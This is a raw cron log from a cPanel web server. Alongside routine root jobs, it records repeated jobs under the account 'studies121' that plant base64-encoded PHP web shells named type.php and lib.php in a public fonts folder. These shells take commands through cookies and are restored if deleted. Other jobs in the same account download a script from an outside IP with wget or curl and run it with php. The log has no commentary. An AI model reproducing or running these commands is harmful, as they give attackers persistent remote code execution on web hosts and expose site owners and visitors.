Sep  7 05:10:02 ip-184-168-122-23 CROND[29405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:10:02 ip-184-168-122-23 CROND[29409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:10:02 ip-184-168-122-23 CROND[29412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:10:02 ip-184-168-122-23 CROND[29410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:10:02 ip-184-168-122-23 CROND[29413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:10:02 ip-184-168-122-23 CROND[29414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:11:01 ip-184-168-122-23 CROND[29509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:11:01 ip-184-168-122-23 CROND[29510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:11:01 ip-184-168-122-23 CROND[29512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:11:01 ip-184-168-122-23 CROND[29513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:12:01 ip-184-168-122-23 CROND[29642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:12:01 ip-184-168-122-23 CROND[29640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:12:01 ip-184-168-122-23 CROND[29643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:12:01 ip-184-168-122-23 CROND[29646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:12:01 ip-184-168-122-23 CROND[29648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:13:01 ip-184-168-122-23 CROND[29737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:13:01 ip-184-168-122-23 CROND[29739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:13:01 ip-184-168-122-23 CROND[29740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:13:01 ip-184-168-122-23 CROND[29741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:14:01 ip-184-168-122-23 CROND[29888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:14:01 ip-184-168-122-23 CROND[29893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:14:01 ip-184-168-122-23 CROND[29891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:14:01 ip-184-168-122-23 CROND[29892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:14:01 ip-184-168-122-23 CROND[29894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:15:01 ip-184-168-122-23 CROND[30049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:15:01 ip-184-168-122-23 CROND[30051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:15:01 ip-184-168-122-23 CROND[30052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:15:01 ip-184-168-122-23 CROND[30054]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:15:01 ip-184-168-122-23 CROND[30053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:15:01 ip-184-168-122-23 CROND[30055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:16:01 ip-184-168-122-23 CROND[30182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:16:01 ip-184-168-122-23 CROND[30183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:16:01 ip-184-168-122-23 CROND[30190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:16:01 ip-184-168-122-23 CROND[30189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:16:01 ip-184-168-122-23 CROND[30188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:16:01 ip-184-168-122-23 CROND[30187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 05:17:02 ip-184-168-122-23 CROND[30287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:17:02 ip-184-168-122-23 CROND[30289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:17:02 ip-184-168-122-23 CROND[30290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:17:02 ip-184-168-122-23 CROND[30292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:18:01 ip-184-168-122-23 CROND[30379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:18:01 ip-184-168-122-23 CROND[30380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:18:01 ip-184-168-122-23 CROND[30384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:18:01 ip-184-168-122-23 CROND[30386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:18:01 ip-184-168-122-23 CROND[30383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:19:01 ip-184-168-122-23 CROND[30508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:19:01 ip-184-168-122-23 CROND[30510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:19:01 ip-184-168-122-23 CROND[30512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:19:01 ip-184-168-122-23 CROND[30513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:20:01 ip-184-168-122-23 CROND[30696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:20:01 ip-184-168-122-23 CROND[30700]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:20:01 ip-184-168-122-23 CROND[30699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:20:01 ip-184-168-122-23 CROND[30703]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 05:20:01 ip-184-168-122-23 CROND[30704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:20:01 ip-184-168-122-23 CROND[30709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:20:02 ip-184-168-122-23 CROND[30708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:20:02 ip-184-168-122-23 CROND[30711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:20:02 ip-184-168-122-23 CROND[30712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:21:01 ip-184-168-122-23 CROND[30839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:21:01 ip-184-168-122-23 CROND[30841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:21:01 ip-184-168-122-23 CROND[30842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:21:01 ip-184-168-122-23 CROND[30843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:22:01 ip-184-168-122-23 CROND[30955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:22:01 ip-184-168-122-23 CROND[30957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:22:01 ip-184-168-122-23 CROND[30956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
